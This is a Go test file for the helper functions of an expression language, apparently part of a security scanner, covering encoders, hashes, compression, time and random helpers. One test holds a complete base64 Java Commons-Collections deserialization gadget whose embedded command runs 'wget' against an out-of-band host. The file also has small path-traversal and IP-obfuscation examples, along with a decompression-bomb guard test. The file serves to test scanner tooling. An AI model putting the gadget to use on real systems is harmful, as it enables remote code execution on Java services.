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dsl_test.go
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dsl_test.go
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package dsl
import (
"fmt"
"math"
"os"
"regexp"
"testing"
"time"
"github.com/Knetic/govaluate"
"github.com/stretchr/testify/require"
"golang.org/x/exp/maps"
)
func TestIndex(t *testing.T) {
index, err := govaluate.NewEvaluableExpressionWithFunctions("index(split(url, '.', -1), 1) == 'example'", DefaultHelperFunctions)
require.Nil(t, err, "could not compile index")
result, err := index.Evaluate(map[string]interface{}{"url": "https://www.example.com"})
require.Nil(t, err, "could not evaluate index")
require.Equal(t, true, result, "could not get index data")
}
func TestDSLURLEncodeDecode(t *testing.T) {
encoded, err := DefaultHelperFunctions["url_encode"]("&test\"")
require.Nil(t, err, "could not url encode")
require.Equal(t, "%26test%22", encoded, "could not get url encoded data")
decoded, err := DefaultHelperFunctions["url_decode"]("%26test%22")
require.Nil(t, err, "could not url encode")
require.Equal(t, "&test\"", decoded, "could not get url decoded data")
}
func TestDSLTimeComparison(t *testing.T) {
compiled, err := govaluate.NewEvaluableExpressionWithFunctions("unixtime() > not_after", DefaultHelperFunctions)
require.Nil(t, err, "could not compare time")
result, err := compiled.Evaluate(map[string]interface{}{"not_after": float64(time.Now().Unix() - 1000)})
require.Nil(t, err, "could not evaluate compare time")
require.Equal(t, true, result, "could not get url encoded data")
}
func TestDSLGzipSerialize(t *testing.T) {
compiled, err := govaluate.NewEvaluableExpressionWithFunctions("gzip(\"hello world\")", DefaultHelperFunctions)
require.Nil(t, err, "could not compile encoder")
result, err := compiled.Evaluate(make(map[string]interface{}))
require.Nil(t, err, "could not evaluate compare time")
compiled, err = govaluate.NewEvaluableExpressionWithFunctions("gzip_decode(data)", DefaultHelperFunctions)
require.Nil(t, err, "could not compile decoder")
data, err := compiled.Evaluate(map[string]interface{}{"data": result})
require.Nil(t, err, "could not evaluate decoded data")
require.Equal(t, "hello world", data.(string), "could not get gzip encoded data")
}
func TestDslFunctionSignatures(t *testing.T) {
createSignatureError := func(signature string) string {
return fmt.Errorf("%w. correct method signature %q", ErrInvalidDslFunction, signature).Error()
}
errToUpperSignature := createSignatureError("to_upper(arg1 interface{}) interface{}")
errRemoveBadCharsSignature := createSignatureError("remove_bad_chars(arg1, arg2 interface{}) interface{}")
testCases := []struct {
methodName string
arguments []interface{}
expected interface{}
err string
}{
{"to_upper", []interface{}{}, nil, errToUpperSignature},
{"to_upper", []interface{}{"a"}, "A", ""},
{"toupper", []interface{}{"a"}, "A", ""},
{"to_upper", []interface{}{"a", "b", "c"}, nil, errToUpperSignature},
{"remove_bad_chars", []interface{}{}, nil, errRemoveBadCharsSignature},
{"remove_bad_chars", []interface{}{"a"}, nil, errRemoveBadCharsSignature},
{"remove_bad_chars", []interface{}{"abba baab", "b"}, "aa aa", ""},
{"remove_bad_chars", []interface{}{"a", "b", "c"}, nil, errRemoveBadCharsSignature},
}
helperFunctions := DefaultHelperFunctions
for _, currentTestCase := range testCases {
methodName := currentTestCase.methodName
t.Run(methodName, func(t *testing.T) {
actualResult, err := helperFunctions[methodName](currentTestCase.arguments...)
if currentTestCase.err == "" {
require.Nil(t, err)
} else {
require.Equal(t, err.Error(), currentTestCase.err)
}
require.Equal(t, currentTestCase.expected, actualResult)
})
}
}
func TestGetPrintableDslFunctionSignatures(t *testing.T) {
expected := ` aes_cbc(arg1, arg2, arg3 interface{}) interface{}
aes_gcm(arg1, arg2 interface{}) interface{}
base64(arg1 interface{}) interface{}
base64_decode(arg1 interface{}) interface{}
base64_py(arg1 interface{}) interface{}
bin_to_dec(arg1 interface{}) interface{}
compare_versions(firstVersion, constraints ...string) bool
concat(args ...interface{}) string
contains(arg1, arg2 interface{}) interface{}
contains_all(body interface{}, substrs ...string) bool
contains_any(body interface{}, substrs ...string) bool
date_time(dateTimeFormat string, optionalUnixTime interface{}) string
dec_to_hex(arg1 interface{}) interface{}
deflate(arg1 interface{}) interface{}
ends_with(str string, suffix ...string) bool
equals_any(arg1, arg2 interface{}) interface{}
generate_java_gadget(arg1, arg2, arg3 interface{}) interface{}
generate_jwt(jsonString, algorithm, optionalSignature string, optionalMaxAgeUnix interface{}) string
gzip(arg1 interface{}) interface{}
gzip_decode(arg1 interface{}) interface{}
hex_decode(arg1 interface{}) interface{}
hex_encode(arg1 interface{}) interface{}
hex_to_dec(arg1 interface{}) interface{}
hmac(arg1, arg2, arg3 interface{}) interface{}
html_escape(arg1 interface{}) interface{}
html_unescape(arg1 interface{}) interface{}
index(arg1, arg2 interface{}) interface{}
inflate(arg1 interface{}) interface{}
ip_format(arg1, arg2 interface{}) interface{}
jarm(arg1 interface{}) interface{}
join(separator string, elements ...interface{}) string
join(separator string, elements []interface{}) string
json_minify(arg1 interface{}) interface{}
json_prettify(arg1 interface{}) interface{}
len(arg1 interface{}) interface{}
line_ends_with(str string, suffix ...string) bool
line_starts_with(str string, prefix ...string) bool
llm_prompt(arg1 interface{}) interface{}
md5(arg1 interface{}) interface{}
mmh3(arg1 interface{}) interface{}
oct_to_dec(arg1 interface{}) interface{}
padding(arg1, arg2, arg3, arg4 interface{}) interface{}
print_debug(args ...interface{})
public_ip() string
rand_base(length uint, optionalCharSet string) string
rand_char(optionalCharSet string) string
rand_int(optionalMin, optionalMax uint) int
rand_ip(cidr ...string) string
rand_text_alpha(length uint, optionalBadChars string) string
rand_text_alphanumeric(length uint, optionalBadChars string) string
rand_text_numeric(length uint, optionalBadNumbers string) string
regex(arg1, arg2 interface{}) interface{}
regex_all(arg1, arg2 interface{}) interface{}
regex_any(arg1, arg2 interface{}) interface{}
remove_bad_chars(arg1, arg2 interface{}) interface{}
repeat(arg1, arg2 interface{}) interface{}
replace(arg1, arg2, arg3 interface{}) interface{}
replace_regex(arg1, arg2, arg3 interface{}) interface{}
reverse(arg1 interface{}) interface{}
sha1(arg1 interface{}) interface{}
sha256(arg1 interface{}) interface{}
sha512(arg1 interface{}) interface{}
sort(elements ...interface{}) []interface{}
sort(input number) string
sort(input string) string
split(input string, n int) []string
split(input string, separator string, optionalChunkSize) []string
starts_with(str string, prefix ...string) bool
substr(str string, start int, optionalEnd int)
to_lower(arg1 interface{}) interface{}
to_number(arg1 interface{}) interface{}
to_string(arg1 interface{}) interface{}
to_unix_time(input string, optionalLayout string) int64
to_upper(arg1 interface{}) interface{}
trim(arg1, arg2 interface{}) interface{}
trim_left(arg1, arg2 interface{}) interface{}
trim_prefix(arg1, arg2 interface{}) interface{}
trim_right(arg1, arg2 interface{}) interface{}
trim_space(arg1 interface{}) interface{}
trim_suffix(arg1, arg2 interface{}) interface{}
uniq(elements ...interface{}) []interface{}
uniq(input number) string
uniq(input string) string
unix_time(optionalSeconds uint) float64
unpack(arg1, arg2 interface{}) interface{}
url_decode(arg1 interface{}) interface{}
url_encode(arg1 interface{}) interface{}
wait_for(seconds uint)
xor(args ...interface{}) interface{}
zip(file_entry string, content string, ... ) []byte
zlib(arg1 interface{}) interface{}
zlib_decode(arg1 interface{}) interface{}
`
signatures := GetPrintableDslFunctionSignatures(true)
require.Equal(t, expected, signatures)
coloredSignatures := GetPrintableDslFunctionSignatures(false)
// nolint
require.Contains(t, coloredSignatures, `[93maes_cbc[0m(arg1, arg2, arg3 [38;5;208minterface{}[0m)[38;5;208m interface{}[0m`, "could not get colored signatures")
}
func TestDslExpressions(t *testing.T) {
dslExpressions := map[string]interface{}{
`base64("Hello")`: "SGVsbG8=",
`base64(1234)`: "MTIzNA==",
`base64_py("Hello")`: "SGVsbG8=\n",
`hex_encode("aa")`: "6161",
`html_escape("<body>test</body>")`: "<body>test</body>",
`html_unescape("<body>test</body>")`: "<body>test</body>",
`md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7",
`md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055",
`mmh3("Hello")`: "316307400",
`remove_bad_chars("abcd", "bc")`: "ad",
`replace("Hello", "He", "Ha")`: "Hallo",
`concat("Hello", 123, "world")`: "Hello123world",
`join("_", "Hello", 123, "world")`: "Hello_123_world",
`repeat("a", 5)`: "aaaaa",
`repeat("a", "5")`: "aaaaa",
`repeat("../", "5")`: "../../../../../",
`repeat(5, 5)`: "55555",
`replace_regex("He123llo", "(\\d+)", "")`: "Hello",
`reverse("abc")`: "cba",
`sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0",
`sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969",
`sha512("Hello")`: "3615f80c9d293ed7402687f94b22d58e529b8cc7916f8fac7fddf7fbd5af4cf777d3d795a7a00a16bf7e7f3fb9561ee9baae480da9fe7a18769e71886b03f315",
`to_lower("HELLO")`: "hello",
`to_upper("hello")`: "HELLO",
`trim("aaaHelloddd", "ad")`: "Hello",
`trim_left("aaaHelloddd", "ad")`: "Helloddd",
`trim_prefix("aaHelloaa", "aa")`: "Helloaa",
`trim_right("aaaHelloddd", "ad")`: "aaaHello",
`trim_space(" Hello ")`: "Hello",
`trim_suffix("aaHelloaa", "aa")`: "aaHello",
`url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1",
`url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1",
`gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00",
`zip("aaa.txt","abcd")`: ([]byte("PK\x03\x04\x14\x00\x08\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00aaa.txtJLJN\x01\x04\x00\x00\xff\xffPK\x07\x08\x11\xcd\x82\xed\n\x00\x00\x00\x04\x00\x00\x00PK\x01\x02\x14\x00\x14\x00\x08\x00\x08\x00\x00\x00\x00\x00\x11\xcd\x82\xed\n\x00\x00\x00\x04\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00aaa.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x005\x00\x00\x00?\x00\x00\x00\x00\x00")),
`zlib("Hello")`: "\x78\x9c\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff\x05\x8c\x01\xf5",
`zlib_decode(hex_decode("789cf248cdc9c907040000ffff058c01f5"))`: "Hello",
`deflate("Hello")`: "\xf2\x48\xcd\xc9\xc9\x07\x04\x00\x00\xff\xff",
`inflate(hex_decode("f348cdc9c90700"))`: "Hello",
`inflate(hex_decode("f248cdc9c907040000ffff"))`: "Hello",
`gzip_decode(hex_decode("1f8b08000000000000fff248cdc9c907040000ffff8289d1f705000000"))`: "Hello",
`generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==",
`generate_jwt("{\"name\":\"John Doe\",\"foo\":\"bar\"}", "HS256", "hello-world")`: []byte("eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJmb28iOiJiYXIiLCJuYW1lIjoiSm9obiBEb2UifQ.EsrL8lIcYJR_Ns-JuhF3VCllCP7xwbpMCCfHin_WT6U"),
`base64_decode("SGVsbG8=")`: "Hello",
`hex_decode("6161")`: "aa",
`len("Hello")`: float64(5),
`len(1234)`: float64(4),
`len(split("1.2.3.4",'.',-1))`: float64(4),
`contains("Hello", "lo")`: true,
`starts_with("Hello", "He")`: true,
`ends_with("Hello", "lo")`: true,
"line_starts_with('Hi\nHello', 'He')": true, // back quotes do not support escape sequences
"line_ends_with('Hii\nHello', 'ii')": true, // back quotes do not support escape sequences
`regex("H([a-z]+)o", "Hello")`: true,
`wait_for(1)`: nil,
`padding("A","b",3,'suffix')`: "Abb",
`padding("A","b",3,'prefix')`: "bbA",
`print_debug(1+2, "Hello")`: nil,
`to_number('4')`: float64(4),
`to_string(4)`: "4",
`dec_to_hex(7001)`: "1b59",
`hex_to_dec("ff")`: float64(255),
`hex_to_dec("0xff")`: float64(255),
`oct_to_dec("0o1234567")`: float64(342391),
`oct_to_dec("1234567")`: float64(342391),
`oct_to_dec(1234567)`: float64(342391),
`bin_to_dec("0b1010")`: float64(10),
`bin_to_dec("1010")`: float64(10),
`bin_to_dec(1010)`: float64(10),
`compare_versions('v1.0.0', '<1.1.1')`: true,
`compare_versions('v1.1.1', '>v1.1.0')`: true,
`compare_versions('v1.0.0', '>v0.0.1,<v1.0.1')`: true,
`compare_versions('v1.0.0', '>v0.0.1', '<v1.0.1')`: true,
`hmac('sha1', 'test', 'scrt')`: "8856b111056d946d5c6c92a21b43c233596623c6",
`hmac('sha256', 'test', 'scrt')`: "1f1bff5574f18426eb376d6dd5368a754e67a798aa2074644d5e3fd4c90c7a92",
`hmac('sha512', 'test', 'scrt')`: "1d3fff1dbb7369c1615ffb494813146bea051ce07e5d44bdeca539653ea97656bf9d38db264cddbe6a83ea15139c8f861a7e73e10e43ad4865e852a9ee6de2e9",
`substr('xxtestxxx',2)`: "testxxx",
`substr('xxtestxxx',2,4)`: "te",
`substr('xxtestxxx',2,6)`: "test",
`sort(12453)`: "12345",
`sort("a1b2c3d4e5")`: "12345abcde",
`sort("b", "a", "2", "c", "3", "1", "d", "4")`: []string{"1", "2", "3", "4", "a", "b", "c", "d"},
`split("abcdefg", 2)`: []string{"ab", "cd", "ef", "g"},
`split("ab,cd,efg", ",", 1)`: []string{"ab,cd,efg"},
`split("ab,cd,efg", ",", 2)`: []string{"ab", "cd,efg"},
`split("ab,cd,efg", ",", "3")`: []string{"ab", "cd", "efg"},
`split("ab,cd,efg", ",", -1)`: []string{"ab", "cd", "efg"},
`split("ab,cd,efg", ",")`: []string{"ab", "cd", "efg"},
`join(" ", sort("b", "a", "2", "c", "3", "1", "d", "4"))`: "1 2 3 4 a b c d",
`uniq(123123231)`: "123",
`uniq("abcabdaabbccd")`: "abcd",
`uniq("ab", "cd", "12", "34", "12", "cd")`: []string{"ab", "cd", "12", "34"},
`join(" ", uniq("ab", "cd", "12", "34", "12", "cd"))`: "ab cd 12 34",
`join(", ", split(hex_encode("abcdefg"), 2))`: "61, 62, 63, 64, 65, 66, 67",
`json_minify("{ \"name\": \"John Doe\", \"foo\": \"bar\" }")`: "{\"foo\":\"bar\",\"name\":\"John Doe\"}",
`json_prettify("{\"foo\":\"bar\",\"name\":\"John Doe\"}")`: "{\n \"foo\": \"bar\",\n \"name\": \"John Doe\"\n}",
`ip_format('127.0.0.1', '1')`: "127.0.0.1",
`ip_format('127.0.0.1', '3')`: "0177.0.0.01",
`ip_format('127.0.0.1', '5')`: "2130706433",
`ip_format('127.0.1.0', '11')`: "127.0.256",
"unpack('>I', '\xac\xd7\t\xd0')": -272646673,
"xor('\x01\x02', '\x02\x01')": []uint8([]byte{0x3, 0x3}),
}
testDslExpressions(t, dslExpressions)
}
func TestDateTimeDSLFunction(t *testing.T) {
testDateTimeFormat := func(t *testing.T, dateTimeFormat string, dateTimeFunction *govaluate.EvaluableExpression, expectedFormattedTime string, currentUnixTime int64) {
dslFunctionParameters := map[string]interface{}{"dateTimeFormat": dateTimeFormat}
if currentUnixTime != 0 {
dslFunctionParameters["unixTime"] = currentUnixTime
}
result, err := dateTimeFunction.Evaluate(dslFunctionParameters)
require.Nil(t, err, "could not evaluate compare time")
require.Equal(t, expectedFormattedTime, result.(string), "could not get correct time format string")
}
t.Run("with unix time", func(t *testing.T) {
dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat)", DefaultHelperFunctions)
require.Nil(t, err, "could not compile encoder")
currentTime := time.Now()
expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, 0)
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, 0)
})
t.Run("without unix time", func(t *testing.T) {
dateTimeFunction, err := govaluate.NewEvaluableExpressionWithFunctions("date_time(dateTimeFormat, unixTime)", DefaultHelperFunctions)
require.Nil(t, err, "could not compile encoder")
currentTime := time.Now()
currentUnixTime := currentTime.Unix()
expectedFormattedTime := currentTime.Format("02-01-2006 15:04")
testDateTimeFormat(t, "02-01-2006 15:04", dateTimeFunction, expectedFormattedTime, currentUnixTime)
testDateTimeFormat(t, "%D-%M-%Y %H:%m", dateTimeFunction, expectedFormattedTime, currentUnixTime)
})
}
func TestDateTimeDslExpressions(t *testing.T) {
t.Run("date_time", func(t *testing.T) {
now := time.Now()
dslExpressions := map[string]interface{}{
`date_time("%Y-%M-%D")`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
`date_time("%Y-%M-%D", unix_time())`: fmt.Sprintf("%02d-%02d-%02d", now.Year(), now.Month(), now.Day()),
`date_time("%Y-%M-%D", 1642032000)`: time.Date(2022, 01, 13, 0, 0, 0, 0, time.UTC).Local().Format("2006-01-02"),
`date_time("%H-%m")`: fmt.Sprintf("%02d-%02d", now.Hour(), now.Minute()),
`date_time("02-01-2006", unix_time())`: now.Format("02-01-2006"),
`date_time("02-01-2006", 1642032000)`: time.Date(2022, 01, 13, 0, 0, 0, 0, time.UTC).Local().Format("02-01-2006"),
}
testDslExpressions(t, dslExpressions)
})
t.Run("to_unix_time(input string) int", func(t *testing.T) {
expectedUtcTime := time.Date(2022, 01, 13, 16, 30, 10, 0, time.UTC)
dateTimeInputs := map[string]time.Time{
// UTC time
"2022-01-13T16:30:10Z": expectedUtcTime,
"2022-01-13T16:30:10+00:00": expectedUtcTime,
"2022-01-13T16:30:10-00:00": expectedUtcTime,
// explicit time offset
"2022-01-13 16:30:10 +01:00": time.Date(2022, 01, 13, 16, 30, 10, 0, time.FixedZone("UTC+1", 60*60)),
"2022-01-13 16:30 +01:00": time.Date(2022, 01, 13, 16, 30, 0, 0, time.FixedZone("UTC+1", 60*60)),
"2022-01-13 +02:00": time.Date(2022, 01, 13, 0, 0, 0, 0, time.FixedZone("UTC+2", 2*60*60)),
"2022-01-13 -02:00": time.Date(2022, 01, 13, 0, 0, 0, 0, time.FixedZone("UTC+2", -2*60*60)),
// local time
"2022-01-13 16:30:10": time.Date(2022, 01, 13, 16, 30, 10, 0, time.Local),
"2022-01-13 16:30": time.Date(2022, 01, 13, 16, 30, 0, 0, time.Local),
"2022-01-13": time.Date(2022, 01, 13, 0, 0, 0, 0, time.Local),
}
for dateTimeInput, expectedTime := range dateTimeInputs {
dslExpression := fmt.Sprintf(`to_unix_time("%s")`, dateTimeInput)
t.Run(dslExpression, func(t *testing.T) {
actual := evaluateExpression(t, dslExpression)
require.Equal(t, expectedTime.Unix(), actual)
})
}
})
t.Run("to_unix_time(input string, layout string) int", func(t *testing.T) {
testScenarios := []struct {
inputDateTime string
layout string
expectedTime time.Time
}{
{"2022-01-13T16:30:10+02:00", time.RFC3339, time.Date(2022, 01, 13, 16, 30, 10, 0, time.FixedZone("UTC+2", 2*60*60))},
{"13-01-2022 16:30:10", "02-01-2006 15:04:05", time.Date(2022, 01, 13, 16, 30, 10, 0, time.UTC)},
{"13-01-2022 16:30", "02-01-2006 15:04", time.Date(2022, 01, 13, 16, 30, 0, 0, time.UTC)},
{"13-01-2022", "02-01-2006", time.Date(2022, 01, 13, 0, 0, 0, 0, time.UTC)},
{"13-01-2022 16:30:10 +02:00", "02-01-2006 15:04:05 Z07:00", time.Date(2022, 01, 13, 16, 30, 10, 0, time.FixedZone("UTC+2", 2*60*60))},
{"13-01-2022 16:30 +01:00", "02-01-2006 15:04 Z07:00", time.Date(2022, 01, 13, 16, 30, 0, 0, time.FixedZone("UTC+1", 60*60))},
{"13-01-2022 -03:30", "02-01-2006 Z07:00", time.Date(2022, 01, 13, 0, 0, 0, 0, time.FixedZone("UTC-3:30", -3*60*60-30*60))},
}
for _, testScenario := range testScenarios {
dslExpression := fmt.Sprintf(`to_unix_time("%s", "%s")`, testScenario.inputDateTime, testScenario.layout)
t.Run(dslExpression, func(t *testing.T) {
actual := evaluateExpression(t, dslExpression)
require.Equal(t, testScenario.expectedTime.Unix(), actual)
})
}
})
}
func TestRandDslExpressions(t *testing.T) {
randDslExpressions := map[string]string{
`rand_base(10, "")`: `[a-zA-Z0-9]{10}`,
`rand_base(5, "abc")`: `[abc]{5}`,
`rand_base(5)`: `[a-zA-Z0-9]{5}`,
`rand_char("abc")`: `[abc]{1}`,
`rand_char("")`: `[a-zA-Z0-9]{1}`,
`rand_char()`: `[a-zA-Z0-9]{1}`,
`rand_ip("192.168.0.0/24")`: `(?:[0-9]{1,3}\.){3}[0-9]{1,3}$`,
`rand_ip("2001:db8::/64")`: `(?:[A-Fa-f0-9]{0,4}:){0,7}[A-Fa-f0-9]{0,4}$`,
`rand_text_alpha(10, "abc")`: `[^abc]{10}`,
`rand_text_alpha(10, "")`: `[a-zA-Z]{10}`,
`rand_text_alpha(10)`: `[a-zA-Z]{10}`,
`rand_text_alphanumeric(10, "ab12")`: `[^ab12]{10}`,
`rand_text_alphanumeric(5, "")`: `[a-zA-Z0-9]{5}`,
`rand_text_alphanumeric(10)`: `[a-zA-Z0-9]{10}`,
`rand_text_numeric(10, 123)`: `[^123]{10}`,
`rand_text_numeric(10)`: `\d{10}`,
}
for randDslExpression, regexTester := range randDslExpressions {
t.Run(randDslExpression, func(t *testing.T) {
actualResult := evaluateExpression(t, randDslExpression)
compiledTester := regexp.MustCompile(fmt.Sprintf("^%s$", regexTester))
fmt.Printf("%s: \t %v\n", randDslExpression, actualResult)
stringResult := toString(actualResult)
require.True(t, compiledTester.MatchString(stringResult), "The result '%s' of '%s' expression does not match the expected regex: '%s'", actualResult, randDslExpression, regexTester)
})
}
}
func TestRandIntDslExpressions(t *testing.T) {
randIntDslExpressions := map[string]func(int) bool{
`rand_int(5, 9)`: func(i int) bool {
return i >= 5 && i <= 9
},
`rand_int(9)`: func(i int) bool {
return i >= 9
},
`rand_int()`: func(i int) bool {
return i >= 0 && i <= math.MaxInt32
},
}
for randIntDslExpression, tester := range randIntDslExpressions {
t.Run(randIntDslExpression, func(t *testing.T) {
actualResult := evaluateExpression(t, randIntDslExpression)
actualIntResult := actualResult.(int)
require.True(t, tester(actualIntResult), "The '%d' result of the '%s' expression, does not match th expected validation function.", actualIntResult, randIntDslExpression)
})
}
}
func TestCachingLayer(t *testing.T) {
var (
callCount int
expectedResult = "static value"
cacheableFunc = dslFunction{
IsCacheable: true,
Name: "cacheable_func",
NumberOfArgs: 0,
Signatures: nil,
ExpressionFunction: func(args ...interface{}) (interface{}, error) {
time.Sleep(time.Second)
callCount++
return expectedResult, nil
},
}
)
for i := 0; i < 100; i++ {
result := evaluateExpression(t, "cacheable_func()", cacheableFunc)
require.Equal(t, expectedResult, result)
}
require.Equal(t, 1, callCount)
}
func evaluateExpression(t *testing.T, dslExpression string, functions ...dslFunction) interface{} {
helperFunctions := maps.Clone(DefaultHelperFunctions)
for _, function := range functions {
helperFunctions[function.Name] = function.Exec
}
compiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, helperFunctions)
require.NoError(t, err, "Error while compiling the %q expression", dslExpression)
actualResult, err := compiledExpression.Evaluate(make(map[string]interface{}))
require.NoError(t, err, "Error while evaluating the compiled %q expression", dslExpression)
for _, negativeTestWord := range []string{"panic", "invalid", "error"} {
require.NotContains(t, fmt.Sprintf("%v", actualResult), negativeTestWord)
}
return actualResult
}
func testDslExpressions(t *testing.T, dslExpressions map[string]interface{}) {
for dslExpression, expectedResult := range dslExpressions {
t.Run(dslExpression, func(t *testing.T) {
actualResult := evaluateExpression(t, dslExpression)
if expectedResult != nil {
require.Equal(t, expectedResult, actualResult)
}
fmt.Printf("%s: \t %v\n", dslExpression, actualResult)
})
}
}
func Test_Zlib_decompression_bomb(t *testing.T) {
compressedFile := "testdata/zlib_bomb.zlib"
data, err := os.ReadFile(compressedFile)
require.NoError(t, err)
dslExpression := `zlib_decode(body)`
helperFunctions := maps.Clone(DefaultHelperFunctions)
for _, function := range functions {
helperFunctions[function.Name] = function.Exec
}
compiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, helperFunctions)
require.NoError(t, err, "Error while compiling the %q expression", dslExpression)
actualResult, err := compiledExpression.Evaluate(map[string]interface{}{
"body": string(data),
})
require.NoError(t, err, "Error while evaluating the compiled %q expression", dslExpression)
// Cannot be greater than 10MB
require.LessOrEqual(t, int64(len(actualResult.(string))), DefaultMaxDecompressionSize, "The result is too large")
}